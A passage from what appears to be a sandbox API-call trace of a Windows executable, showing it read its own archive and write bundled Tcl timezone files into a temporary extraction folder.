lpFileInformation=0x4f8d34) returned 1 [0038.089] CloseHandle (hObject=0x10c) returned 1 [0038.089] GetLastError () returned 0x0 [0038.089] SetLastError (dwErrCode=0x0) [0038.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Brazzaville") returned 75 [0038.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Brazzaville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\brazzaville"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.089] GetLastError () returned 0x2 [0038.089] SetLastError (dwErrCode=0x2) [0038.089] GetLastError () returned 0x2 [0038.089] SetLastError (dwErrCode=0x2) [0038.089] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Brazzaville", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Brazzaville", lpFilePart=0x0) returned 0x4a [0038.089] GetLastError () returned 0x2 [0038.089] SetLastError (dwErrCode=0x2) [0038.089] GetLastError () returned 0x2 [0038.089] SetLastError (dwErrCode=0x2) [0038.089] GetLastError () returned 0x2 [0038.089] SetLastError (dwErrCode=0x2) [0038.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Brazzaville") returned 75 [0038.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.089] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Brazzaville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\brazzaville"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.090] GetFileType (hFile=0x10c) returned 0x1 [0038.090] htonl (hostlong=0x94000000) returned 0x94 [0038.090] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.090] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x94, lpOverlapped=0x0) returned 1 [0038.091] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.091] CloseHandle (hObject=0x10c) returned 1 [0038.091] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.091] htonl (hostlong=0x30000000) returned 0x30 [0038.091] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.091] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.091] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.092] GetFileType (hFile=0x10c) returned 0x1 [0038.092] htonl (hostlong=0xdc3b5800) returned 0x583bdc [0038.092] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cebdc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.092] htonl (hostlong=0x8a000000) returned 0x8a [0038.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0038.092] htonl (hostlong=0x8a000000) returned 0x8a [0038.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.092] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.092] htonl (hostlong=0x92000000) returned 0x92 [0038.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x550600 [0038.092] htonl (hostlong=0x8a000000) returned 0x8a [0038.092] htonl (hostlong=0x92000000) returned 0x92 [0038.092] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.092] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.092] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.092] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.092] CloseHandle (hObject=0x10c) returned 1 [0038.092] GetLastError () returned 0x0 [0038.092] SetLastError (dwErrCode=0x0) [0038.092] GetLastError () returned 0x0 [0038.092] SetLastError (dwErrCode=0x0) [0038.092] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.092] GetFileType (hFile=0x10c) returned 0x1 [0038.092] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.092] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.092] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.093] CloseHandle (hObject=0x10c) returned 1 [0038.093] GetLastError () returned 0x0 [0038.093] SetLastError (dwErrCode=0x0) [0038.093] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.093] GetFileType (hFile=0x10c) returned 0x1 [0038.093] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.093] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.093] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.093] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.093] CloseHandle (hObject=0x10c) returned 1 [0038.093] GetLastError () returned 0x0 [0038.094] SetLastError (dwErrCode=0x0) [0038.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.094] GetFileType (hFile=0x10c) returned 0x1 [0038.094] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.094] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.094] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.094] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.094] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.094] CloseHandle (hObject=0x10c) returned 1 [0038.094] GetLastError () returned 0x0 [0038.094] SetLastError (dwErrCode=0x0) [0038.094] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bujumbura") returned 73 [0038.094] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bujumbura" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bujumbura"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.094] GetLastError () returned 0x2 [0038.094] SetLastError (dwErrCode=0x2) [0038.094] GetLastError () returned 0x2 [0038.094] SetLastError (dwErrCode=0x2) [0038.094] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bujumbura", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bujumbura", lpFilePart=0x0) returned 0x48 [0038.094] GetLastError () returned 0x2 [0038.094] SetLastError (dwErrCode=0x2) [0038.094] GetLastError () returned 0x2 [0038.095] SetLastError (dwErrCode=0x2) [0038.095] GetLastError () returned 0x2 [0038.095] SetLastError (dwErrCode=0x2) [0038.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bujumbura") returned 73 [0038.095] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.095] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Bujumbura" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\bujumbura"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.096] GetFileType (hFile=0x10c) returned 0x1 [0038.096] htonl (hostlong=0x92000000) returned 0x92 [0038.096] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.096] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x92, lpOverlapped=0x0) returned 1 [0038.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.097] CloseHandle (hObject=0x10c) returned 1 [0038.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.098] htonl (hostlong=0x30000000) returned 0x30 [0038.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.098] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.098] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.098] GetFileType (hFile=0x10c) returned 0x1 [0038.098] htonl (hostlong=0x663c5800) returned 0x583c66 [0038.098] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5cec66, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.098] htonl (hostlong=0x9030000) returned 0x309 [0038.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x309) returned 0x550600 [0038.098] htonl (hostlong=0x9030000) returned 0x309 [0038.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.098] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.098] htonl (hostlong=0x140e0000) returned 0xe14 [0038.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe14) returned 0x560088 [0038.098] htonl (hostlong=0x9030000) returned 0x309 [0038.098] htonl (hostlong=0x140e0000) returned 0xe14 [0038.098] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560ea8 [0038.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560ea8 | out: hHeap=0x530000) returned 1 [0038.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.098] CloseHandle (hObject=0x10c) returned 1 [0038.098] GetLastError () returned 0x0 [0038.098] SetLastError (dwErrCode=0x0) [0038.098] GetLastError () returned 0x0 [0038.099] SetLastError (dwErrCode=0x0) [0038.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.099] GetFileType (hFile=0x10c) returned 0x1 [0038.099] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.099] CloseHandle (hObject=0x10c) returned 1 [0038.099] GetLastError () returned 0x0 [0038.099] SetLastError (dwErrCode=0x0) [0038.099] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.099] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.099] GetFileType (hFile=0x10c) returned 0x1 [0038.099] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.099] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.099] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.099] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.100] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.100] CloseHandle (hObject=0x10c) returned 1 [0038.100] GetLastError () returned 0x0 [0038.100] SetLastError (dwErrCode=0x0) [0038.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.100] GetFileType (hFile=0x10c) returned 0x1 [0038.100] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.100] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.100] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.100] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.100] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.100] CloseHandle (hObject=0x10c) returned 1 [0038.100] GetLastError () returned 0x0 [0038.100] SetLastError (dwErrCode=0x0) [0038.100] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Cairo") returned 69 [0038.101] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Cairo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\cairo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.101] GetLastError () returned 0x2 [0038.101] SetLastError (dwErrCode=0x2) [0038.101] GetLastError () returned 0x2 [0038.101] SetLastError (dwErrCode=0x2) [0038.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Cairo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Cairo", lpFilePart=0x0) returned 0x44 